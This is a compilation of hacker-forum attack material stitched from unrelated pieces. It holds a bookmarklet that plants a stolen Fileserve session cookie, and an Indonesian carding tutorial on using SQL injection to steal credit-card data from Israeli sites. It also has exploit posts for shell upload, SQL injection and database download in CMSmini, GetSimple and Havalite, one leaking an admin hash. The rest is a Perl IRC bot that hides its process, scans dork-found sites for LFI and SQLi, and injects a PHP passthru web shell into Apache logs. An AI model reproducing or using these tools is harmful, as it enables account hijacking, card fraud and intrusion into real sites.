Fileserve Premium Account Javascript Code

javascript:var domain = 'fileserve.com';var cookies = new Array();cookies['PHPSESSID']='21svrk7gfoeeosmu5kj3jsu7q3';cookies['cookie']='rrEyddaafqVuCTyhgLYe7Y14kVs0Ekzlph6qIZWH4FeN1uHonghPomEYLu7rGw7GEXO2Hof4MNUoxsyCNfyurG6DU7Mf85Vi4i%2B8UiK6bd5Qmi4mo2prqt%2FAXBXMw9mLbTjol8I8K8yVq7TFlKTVmSYqU2AieNznP8F2nrWhyd0iC5bHSatRleXRphlR5wDHcOyJ23Mv9vc90g3084c02v1JiCVHsygSi3Q%2B3zUH4j9PAoOcWE8yPVHLsUNavkbP';if (location.href.indexOf(domain) == -1) {var g = confirm('You will be redirected to '+domain+'. You will have to run this script again. Continue?\n\t\t\t\t\t Script created by Rayzer');if (g) {location.href = 'http://'+domain;}} else{alert("You will be signed in now. Enjoy premium!\n\t~~~> Script Created By Rayzer<~~~\t");for(var i in cookies){void(document.cookie = i+'='+cookies[i]+';domain=.'+domain+';path=/;');}location.href = 'http://www.fileserve.com/dashboard.php';}

Carding Untuk Pemula

Pada kesempatan kali ini saya berbagi ilmu yang saya dapat di blog temen Fb saya,. dan Langsung saja,. Untuk toturial Kali ini Akan menyerang adalah masyarakat Israel.
Tools yang Harus kawan di siapkan yaitu:
#. Google Url Extractor
#. Sql Exploiter
tahap tahap yg di lakukan pertama
1. buka google extractor, lalu masukan dork product.asp?id= site:il
2. trus scan, kalo sudah muncul link-link yg keluar silakan di klik kanan trus Remove Duplicate, biar gk keder


3. lalu pindah ke tab Sql Injector Query Builder
4. masukan argumen tanda tanya (?) di Insert arguments here
5. kalo sudah klik Build dan Scan

6. trus ke tab berikutnya yaitu tab Attack Victim
7. cari yg error result nya : unclosed quotation mark before the character ….. gk tau knp pokok nya ikutin aja jgn banyak tanya :p
8. klik kanan copy url yg victim

tahap pemakaian sql exploiter
9. buka sql exploiter trus ke tab Attacker for the Hackable Site !!
10. klik Add Manualy , masukan url victim yg tadi, trus paste (kadang tanda ‘ harus di hilangkan)

11. kalo udah klik Site Info sampai infonya keluar
12. kalo udah keluar maka tinggal Get Tables, maka akan muncul table” web tersebut, yg ku tandai warna biru

13. pilih salah 1 yg ada di table tsbt, yg kira” dimana letak CC nya, trus Get Columns buat mengetahui columns apa aja di table tsb, tapi kali ini aku gk ke table order
14. kalo udah muncul semua columns , drag semua colomns terus Amibil deh datanya

Bagaimana seru bukan,.  

CMSmini 0.1.1 Upload File Exploit

+-----------------------------------------+
# Exploit Title: CMSmini 0.1.1 Upload File Exploit
# Author: Dr.KroOoZ
# Software : http://sourceforge.net/projects/cmsmini/files/cmsmini/cmsmini-0.1/cmsmini-0.1.tar.gz/download
# Tested on: Linux - Windows
# Dork : No Dork :D

+-----------------------------------------+

      
       _           _     _      ___       
      | |         | |   | |    / _ \      
      | |_   _ ___| |_  | |__ | | | |__  __
  _   | | | | / __| __| | '_ \| | | |\ \/ /
 | |__| | |_| \__ \ |_  | |_) | |_| | >  <
  \____/ \__,_|___/\__| |_.__/ \___/ /_/\_\
                              

+-----------------------------------------+                                       
[-] Exploit :

<title># Upload ~ Just B0x3d </title>
<form action="http://localhost/cmsmini-0.1/admin/index.php?path=" method="post" enctype="multipart/form-data">
<pre>

+-----------------------------------------+

      
       _           _     _      ___       
      | |         | |   | |    / _ \      
      | |_   _ ___| |_  | |__ | | | |__  __
  _   | | | | / __| __| | '_ \| | | |\ \/ /
 | |__| | |_| \__ \ |_  | |_) | |_| | >  <
  \____/ \__,_|___/\__| |_.__/ \___/ /_/\_\
                              

+-----------------------------------------+   
<p align="center"><font face="Tahoma" size="2" color="#FF0000">CMSmini 0.1.1 Upload File Exploit</font></p>

<font face="Tahoma">Just B0x3d : <input align="Center" type="file" name="imagefile" id="imagefile" size="23" style="font-family: Tahoma; color: #FF0000; border: 1px dotted #FF0000" />&nbsp;&nbsp;&nbsp; <input type="submit" name="newimage" value="Upload " style="font-family: Tahoma; color: #FF0000; border: 1px dotted #FF0000" /></font></pre>
<p>&nbsp;</p>

</form>
<font face="Tahoma">

<p align="center" dir="ltr"><font face="Tahoma" size="2">
<a href="http://www.sec4ever.com">www.sec4ever.com</a> </font></p>
<p align="center" dir="ltr"><font face="Tahoma" size="2">
<a href="http://www.d-k-t.tk">www.d-k-t.tk</a> </font></p>
<p align="center" dir="ltr"><font face="Tahoma" size="2">Dr.KroOoZ | b0x</font></p>
</center>
</body>
</font>
</html>

Change Action To Website :D
This Video : http://www.youtube.com/watch?v=l-dzH0eWZm0
+-----------------------------------------+
[»] Mail : Root@TTGSa.CoM
[»] Mail : www.d-k-t.tk
+-----------------------------------------+
[»] Dream'z KilleR [ D.K ] :
[ Dr.KroOoZ - No-QRQR ]
+-----------------------------------------+
[»] Greetz to:
[ New KilleR & b0x & FoX HaCkeR & Sn!pEr.S!Te & Ales McGregor & MjNoN HaCkEr & HaNiBaL KSA ]
+-----------------------------------------+

GetSimple v3.1 <= (ShellUpload/FD) Multiple Vulnerabilities

0     _                   __           __       __                   

1   /' \            __  /'__`\        /\ \__  /'__`\ 

0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___ 

1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ 

0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/   

1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\   

0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   

1                  \ \____/ >> Exploit database separated by exploit

0                   \/___/          type (local, remote, DoS, etc.) 

1                        

###
# Title : GetSimple v3.1 <= (ShellUpload/FD) Multiple Vulnerabilities
# Author : KedAns-Dz
# E-mail : ked-h (@hotmail.com / @1337day.com / @exploit-id.com / @dis9.com) kedans@facebook.com
# Home : Hassi.Messaoud (30500) - Algeria -(00213555248701)
# Web Site : www.1337day.com
# Facebook : http://facebook.com/KedAns
# Friendly Sites : www.dis9.com * www.r00tw0rm.com * www.exploit-id.com
# platform : php
# Type : Multiple Vulnerabilities
# Security Risk : High
# Tested on : Windows XP-SP3 (Fr) / FreeBSD 8.2-RC
###

##
# | >> --------+++=[ Dz Offenders Cr3w ]=+++-------- << |
# | > Indoushka * KedAns-Dz * Caddy-Dz * Kalashinkov3   |
# | Jago-dz * Over-X * Kha&miX * Ev!LsCr!pT_Dz * soucha |
# | ***** KinG Of PiraTeS * The g0bl!n * dr.R!dE  ***** |
# | ------------------------------------------------- < |
##

./<3 <3 Greetings t0 Palestine <3 <3

Download CMS : http://get-simple-cms.googlecode.com/files/GetSimple_3.1.zip?id=latest

####[ p0c 1 | File/Shell Upload : ]===>

+> N0 d0rk KidD's :p

+> Inf0's : Basic File Browser for CKEditor v1.1

+> Exploit :
http://[target]/[path]/admin/filebrowser.php

-> Upload any {file}.*
...and find him : http://[target]/[path]/data/uploads/{file}.*

####[ p0c 2 | Backup Download : ]===>

+> n0 Dork ^.^ s0rrY k!ddddddddd5 xD

+> Exploit :
Go t0 ==>
http://[target]/[path]/backups/pages/

...and Download Backup(s) *.xml , *.bak.xml

+> Fix : add index.html in '/backups/pages/' Folder

# The EnD ./ Greetings t0 palestine ./ ^__^ Like aNd Inj0Y

#================[ Exploited By KedAns-Dz * Inj3ct0r Team * ]=======================================
# Greets To : Dz Offenders Cr3w < Algerians HaCkerS > | Rizky Ariestiyansyah * Islam Caddy * HMD-Cr3w
# + Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re * CrosS (www.1337day.com) 
# Inj3ct0r Members 31337 : Indoushka * KnocKout * SeeMe * Kalashinkov3 * ZoRLu * anT!-Tr0J4n *
# Angel Injection (www.1337day.com/team) * Dz Offenders Cr3w * Algerian Cyber Army * xDZx * TM.mOsta
# Exploit-ID Team : jos_ali_joe + Caddy-Dz + kaMtiEz + r3m1ck (exploit-id.com) * Jago-dz * Over-X
# Kha&miX * Str0ke * JF * Ev!LsCr!pT_Dz * KinG Of PiraTeS * TrOoN * T0xic * L3b-r1Z * r00tw0rm.com 
# www.packetstormsecurity.org * www.metasploit.com * I-BT * Dis9UE * All Security and Exploits Webs ..
#=================================================================================

Havalite CMS latest (FU/SQLi/dCDB) Mutiple Vulnerabilities

0     _                   __           __       __                   

1   /' \            __  /'__`\        /\ \__  /'__`\ 

0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___ 

1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ 

0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/   

1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\   

0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   

1                  \ \____/ >> Exploit database separated by exploit

0                   \/___/          type (local, remote, DoS, etc.) 

1                           

# Title : Havalite CMS latest (FU/SQLi/dCDB) Mutiple Vulnerabilities
# Author : KedAns-Dz
# E-mail : ked-h (@hotmail.com / @1337day.com / @exploit-id.com / @dis9.com) kedans@facebook.com
# Home : Hassi.Messaoud (30500) - Algeria -(00213555248701)
# Web Site : www.1337day.com
# Facebook : http://facebook.com/KedAns
# Friendly Sites : www.dis9.com * www.r00tw0rm.com * www.exploit-id.com
# platform : php
# Type : Multiple Vulnerabilities
# Security Risk : Critical
# Tested on : Windows XP-SP3 (Fr) / FreeBSD 8.2-RC
###

##
# | >> --------+++=[ Dz Offenders Cr3w ]=+++-------- << | # | > Indoushka * KedAns-Dz * Caddy-Dz * Kalashinkov3 |
# | Jago-dz * Over-X * Kha&miX * Ev!LsCr!pT_Dz * soucha |
# | ***** KinG Of PiraTeS * The g0bl!n * dr.R!dE ***** |
# | ------------------------------------------------- < | ## ./<3 <3 Greetings t0 Palestine <3 <3 # Download CMS : http://havalite.com/havalite/plugins/download_counter/download.php?d=havalite.zip ####[ p0c 1 | File/Shell Upload : ]===>

+> Dork : "allinurl:/hava_upload.php"

+> Exploit :
http://[target]/[path]/hava_upload.php

-> Upload Shell.php;.gif
... and Find him : http://[target]/[path]/tmp/files/Shell.php;.gif

####[ p0c 2 | SQL Inj3ction : ]===>

+> No d0rk K!dd's :p

+> Exploit :
http://[target]/[path]/hava_post.php?postId=9999' [ SQLi ]

####[ p0c 3 | Download CONFIG Database : ]===>

+> Dork : "allinurl:/data/havalite.db3"

+> Exploit : http://[target]/[path]/data/havalite.db3

+> p0c Inf0s :

config.php =>

line 1/4 :


-> havalite.db3 :

line 16 :

admin43175836dbb2237

# The EnD ./ Greetings t0 palestine ./ ^__^ Like aNd Inj0Y

#================[ Exploited By KedAns-Dz * Inj3ct0r Team * ]=======================================
# Greets To : Dz Offenders Cr3w < Algerians HaCkerS > | Rizky Ariestiyansyah * Islam Caddy * HMD-Cr3w
# + Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re * CrosS (www.1337day.com)
# Inj3ct0r Members 31337 : Indoushka * KnocKout * SeeMe * Kalashinkov3 * ZoRLu * anT!-Tr0J4n *
# Angel Injection (www.1337day.com/team) * Dz Offenders Cr3w * Algerian Cyber Army * xDZx * TM.mOsta
# Exploit-ID Team : jos_ali_joe + Caddy-Dz + kaMtiEz + r3m1ck (exploit-id.com) * Jago-dz * Over-X
# Kha&miX * Str0ke * JF * Ev!LsCr!pT_Dz * KinG Of PiraTeS * TrOoN * T0xic * L3b-r1Z * r00tw0rm.com
# www.packetstormsecurity.org * www.metasploit.com * I-BT * Dis9UE * All Security and Exploits Webs ..
#===================================================================================================

Vopcrew Multiscan 50 Recoding

#!/usr/bin/perl

############################################
# Jatimcom Multi Scanner #
# Coded by Vrs-hCk Recod Jatimcom #
# jatim[dot]comumunity[at]gmail[dot]com #
# Copyleft © 2009 Jati Community #
############################################
# perl Jatimcom.txt help me !!! #
############################################
# Dipersilahkan yang Ingin Menambah Engine #
############################################

use HTTP::Request;
use LWP::UserAgent;
use IO::Socket;
use IO::Select;
use Socket;

my $fakeproc = "/usr/local/apache/bin/httpd -DSSL";
$ircserver = "irc.mildnet.org";
my $ircport = "6667";
my $nickname = "JCOM-SQL";
my $ident = "jatimcom";
my $channel = "#jatimcom";
my $runner = "cimpli";
my $fullname = ' 0,4«®¤[ 14M 15U 0LTIMS 15C 15A 14N 0]¤®»';

my $rficmd = '!rii';
my $lficmd = '!lfi';
my $sqlcmd = '!sql';
my $alicmd = '!ali';

#$rfi_result = "J4T1MC0M";
$lfi_test = "../../../../../../../../../../../../../../../etc/passwd";
$lfi_output = "root:(.+):(.+):(.+):(.+):(.+):(.+)";
$sql_test = "'";
$sql_output = ("You have an error in your SQL syntax|check the manual that corresponds to your MySQL server version for the right syntax to use near");

my $success = "\n [+] Jatimcom Multi Scanner\n [-] Loading Successfully ...\n [-] Process/PID : $fakeproc - $$\n";
print $success;

$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';

chdir("/");
$ircserver="$ARGV[0]" if $ARGV[0];
$0 = "$fakeproc"."\0"x16;;
my $pid = fork;
exit if $pid;
die "\n [!] Something Wrong !!!: $!" unless defined($pid);

our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();
$sel_client = IO::Select->new();

sub sendraw {
if ($#_ == '1') {
my $socket = $_[0];
print $socket "$_[1]\n";
} else {
print $IRC_cur_socket "$_[0]\n";
}
}

sub connector {
my $mynick = $_[0];
my $ircserver_con = $_[1];
my $ircport_con = $_[4];
my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$ircserver_con", PeerPort=>$ircport_con) or return(1);
if (defined($IRC_socket)) {
$IRC_cur_socket = $IRC_socket;
$IRC_socket->autoflush(1);
$sel_client->add($IRC_socket);
$irc_servers{$IRC_cur_socket}{'host'} = "$ircserver_con";
$irc_servers{$IRC_cur_socket}{'port'} = "$ircport_con";
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
$irc_servers{$IRC_cur_socket}{'myip'} = $IRC_socket->sockhost;
nick("$mynick");
sendraw("USER $ident ".$IRC_socket->sockhost." $ircserver_con :$fullname");
sleep 1;
}
}

sub parse {
my $servarg = shift;
if ($servarg =~ /^PING \:(.*)/) {
sendraw("PONG :$1");
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
if ($args =~ /^\001VERSION\001$/) {
notice("$pn", "\001VERSION mIRC v6.113 Khaled Mardam-Bey\001");
}
if ($args =~ /^(\Q$mynick\E|\!a)\s+(.*)/ ) {
my $natrix = $1;
my $arg = $4;
}
}
elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
if (lc($1) eq lc($mynick)) {
$mynick=$4;
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
}
} elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
nick("$mynick|".int rand(999));
} elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
$mynick = $4;
$irc_servers{$IRC_cur_socket}{'nick'} = $mynick;
$irc_servers{$IRC_cur_socket}{'nome'} = "$1";
sendraw("MODE $nickname +Bx");
sendraw("JOIN $channel");
sendraw("PRIVMSG $channel :J4T1MC0M ");
sendraw("PRIVMSG $runner :Hi $runner im here !!!");
}
}

my $line_temp;
while( 1 ) {
while (!(keys(%irc_servers))) { connector("$nickname", "$ircserver", "$ircport"); }
delete($irc_servers{''}) if (defined($irc_servers{''}));
my @ready = $sel_client->can_read(0);
next unless(@ready);
foreach $fh (@ready) {
$IRC_cur_socket = $fh;
$mynick = $irc_servers{$IRC_cur_socket}{'nick'};
$nread = sysread($fh, $msg, 4096);
if ($nread == 0) {
$sel_client->remove($fh);
$fh->close;
delete($irc_servers{$fh});
}
@lines = split (/\n/, $msg);
$msg =~ s/\r\n$//;

#####################################################################
############################[ CMD LIST ]#############################
#####################################################################

if ($msg=~ /PRIVMSG $channel :!help/){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 13@ 4Help 15) 14 $lficmd <bug> <dork> | $sqlcmd <bug> <dork> ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 13@ 4Help 15) 14 !id | !engine | !pid | !version | !about ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 13@ 4Help 15) 14 Apache Log Injection : $alicmd <host> <port> ");
}

if ($msg=~ /PRIVMSG $channel :!id/){
&response();
}

if ($msg=~ /PRIVMSG $channel :!version/){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 13@ 4Version 15) 14 J4T1MC0M SQL Scanner Moded ");
}

if ($msg=~ /PRIVMSG $channel :!engine/){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 13@ 4Engine 15) 14 Google, MSN, AllTheWeb, Altavista, ASK, UOL, GigaBlast, LyCos. ");
}

if ($msg=~ /PRIVMSG $channel :!pid/){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 13@ 4PID 15) 14 Process/ID : 4 $fakeproc - $$ ");
}

if ($msg=~ /PRIVMSG $channel :!about/){
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 13@ 4About 15) 14 J4T1MC0M SQL Scanner Moded ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 13@ 4About 15) 14 Moded by jatimcom/ ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 13@ 4About 15) 14 Copyleft © 4009 J4T1MC0M ");
}

#####################################################################
###############################[ RFI ]###############################
#####################################################################

##################################################################### Google Engine
# if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
# if (my $pid = fork) {
# waitpid($pid, 0);
# }
# else {
# if (fork) { exit; } else {
# my $engx = "GooGLe";
# my $bugx = $1;
# my $d0rk = $4;
# sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 13@ 4RFI 15)( 13@ 4Jatimcom 15) 14 Dork : 4 $d0rk ");
# sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 13@ 4RFI 15)( 13@ 4Jatimcom 15) 14 File : 4 $bugx ");
# sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 13@ 4RFI 15)( 13@ 4Jatimcom 15) 13 Search Engine Loading ... ");
# &rfiscan($engx,$bugx,$d0rk);
# }
# exit;
# }
# }
#
# ##################################################################### AllTheWeb Engine
# if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
# if (my $pid = fork) {
# waitpid($pid, 0);
# }
# else {
# if (fork) { exit; } else {
# my $engx = "AllTheWeb";
# my $bugx = $1;
# my $d0rk = $4;
# &rfiscan($engx,$bugx,$d0rk);
# }
# exit;
# }
# }
#
# ##################################################################### MSN Engine
# if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
# if (my $pid = fork) {
# waitpid($pid, 0);
# }
# else {
# if (fork) { exit; } else {
# my $engx = "MsN";
# my $bugx = $1;
# my $d0rk = $4;
# &rfiscan($engx,$bugx,$d0rk);
# }
# exit;
# }
# }
# ##################################################################### Altavista Engine
# if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
# if (my $pid = fork) {
# waitpid($pid, 0);
# }
# else {
# if (fork) { exit; } else {
# my $engx = "ALtaViSTa";
# my $bugx = $1;
# my $d0rk = $4;
# &rfiscan($engx,$bugx,$d0rk);
# }
# exit;
# }
# }
#
# ##################################################################### ASK Engine
# if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
# if (my $pid = fork) {
# waitpid($pid, 0);
# }
# else {
# if (fork) { exit; } else {
# my $engx = "AsK";
# my $bugx = $1;
# my $d0rk = $4;
# &rfiscan($engx,$bugx,$d0rk);
# }
# exit;
# }
# }
#
# ##################################################################### UoL Engine
# if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
# if (my $pid = fork) {
# waitpid($pid, 0);
# }
# else {
# if (fork) { exit; } else {
# my $engx = "UoL";
# my $bugx = $1;
# my $d0rk = $4;
# &rfiscan($engx,$bugx,$d0rk);
# }
# exit;
# }
# }
#
# ##################################################################### GigaBlast Engine
# if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
# if (my $pid = fork) {
# waitpid($pid, 0);
# }
# else {
# if (fork) { exit; } else {
# my $engx = "GiGaBLaST";
# my $bugx = $1;
# my $d0rk = $4;
# &rfiscan($engx,$bugx,$d0rk);
# }
# exit;
# }
# }
#
# ##################################################################### LyCos Engine
# if ($msg=~ /PRIVMSG $channel :$rficmd\s+(.*?)\s+(.*)/ ) {
# if (my $pid = fork) {
# waitpid($pid, 0);
# }
# else {
# if (fork) { exit; } else {
# my $engx = "LyCos";
# my $bugx = $1;
# my $d0rk = $4;
# &rfiscan($engx,$bugx,$d0rk);
# }
# exit;
# }
# }
#
# #####################################################################
###############################[ LFI ]###############################
#####################################################################

##################################################################### Google Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "GooGLe";
my $bugx = $1;
my $d0rk = $4;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 13@ 4LFI 15)( 13@ 4J4T1MC0M 15) 14 Dork : 4 $d0rk ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 13@ 4LFI 15)( 13@ 4J4T1MC0M 15) 14 File : 4 $bugx ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 13@ 4LFI 15)( 13@ 4J4T1MC0M 15) 13 Search Engine Loading ... ");
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### AllTheWeb Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AllTheWeb";
my $bugx = $1;
my $d0rk = $4;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### MSN Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "MsN";
my $bugx = $1;
my $d0rk = $4;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Altavista Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "ALtaViSTa";
my $bugx = $1;
my $d0rk = $4;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### ASK Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AsK";
my $bugx = $1;
my $d0rk = $4;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### UoL Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "UoL";
my $bugx = $1;
my $d0rk = $4;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### GigaBlast Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "GiGaBLaST";
my $bugx = $1;
my $d0rk = $4;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### LyCos Engine
if ($msg=~ /PRIVMSG $channel :$lficmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "LyCos";
my $bugx = $1;
my $d0rk = $4;
&lfiscan($engx,$bugx,$d0rk);
}
exit;
}
}

#####################################################################
###############################[ SQL ]###############################
#####################################################################

##################################################################### Google Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "GooGLe";
my $bugx = $1;
my $d0rk = $4;
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 13@ 4SQL 15)( 13@ 4J4T1MC0M 15) 14 Dork : 4 $d0rk ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 13@ 4SQL 15)( 13@ 4J4T1MC0M 15) 14 File : 4 $bugx ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 13@ 4SQL 15)( 13@ 4J4T1MC0M 15) 13 Search Engine Loading ... ");
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### AllTheWeb Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AllTheWeb";
my $bugx = $1;
my $d0rk = $4;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Google4 Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "google4";
my $bugx = $1;
my $d0rk = $4;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### MSN Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "MsN";
my $bugx = $1;
my $d0rk = $4;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Altavista Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "ALtaViSTa";
my $bugx = $1;
my $d0rk = $4;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### ASK Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "AsK";
my $bugx = $1;
my $d0rk = $4;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### UoL Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "UoL";
my $bugx = $1;
my $d0rk = $4;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### GigaBlast Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "GiGaBLaST";
my $bugx = $1;
my $d0rk = $4;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}

##################################################################### Lycos Engine
if ($msg=~ /PRIVMSG $channel :$sqlcmd\s+(.*?)\s+(.*)/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
my $engx = "LyCos";
my $bugx = $1;
my $d0rk = $4;
&sqlscan($engx,$bugx,$d0rk);
}
exit;
}
}

#####################################################################
##################################################################### Apache Log Injection
if ($msg=~ /PRIVMSG $channel :$alicmd\s+(.*?)\s+(.+[0-9])/ ) {
if (my $pid = fork) {
waitpid($pid, 0);
}
else {
if (fork) { exit; } else {
&injectlog($1,$4);
}
exit;
}
}

for(my $c=0; $c<= $#lines; $c++) {
$line = $lines[$c];
$line=$line_temp.$line if ($line_temp);
$line_temp='';
$line =~ s/\r$//;
unless ($c == $#lines) {
parse("$line");
} else {
if ($#lines == 0) {
parse("$line");
} elsif ($lines[$c] =~ /\r$/) {
parse("$line");
} elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
parse("$line");
} else {
$line_temp = $line;
}
}
}
}
}

##################################################################### Procedure

sub injectlog() {
my $host = $_[0];
my $port = $_[1];
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 13@ 4ALI 15) 14 Injecting 13 ".$host.":".$port." 14Apache Access Log ... ");
my $php = "<?php if(get_magic_quotes_gpc()){ \$_GET[c0li]=stripslashes(\$_GET[c0li]);} passthru(\$_GET[c0li]);?>";
$sock = IO::Socket::INET->new(PeerAddr => $host, PeerPort => 80, Proto => "tcp") ||
die sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 13@ 4ALI 15) 4 Cant Connect to 13 ".$host.":".$port." ");
print $sock "GET /J4T1MC0M.UnderGrounD ".$php." HTTP/1.1\r\n";
print $sock "Host: ".$host."\r\n";
print $sock "Connection: close\r\n\r\n";
close($sock);
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 13@ 4ALI 15) 13 ".$host." 14is Done ... ");
sendraw($IRC_cur_socket, "PRIVMSG $channel : 15( 13@ 4ALI 15) 13 ".$host." 14RCE Parameter -> 3 jatimcom ");
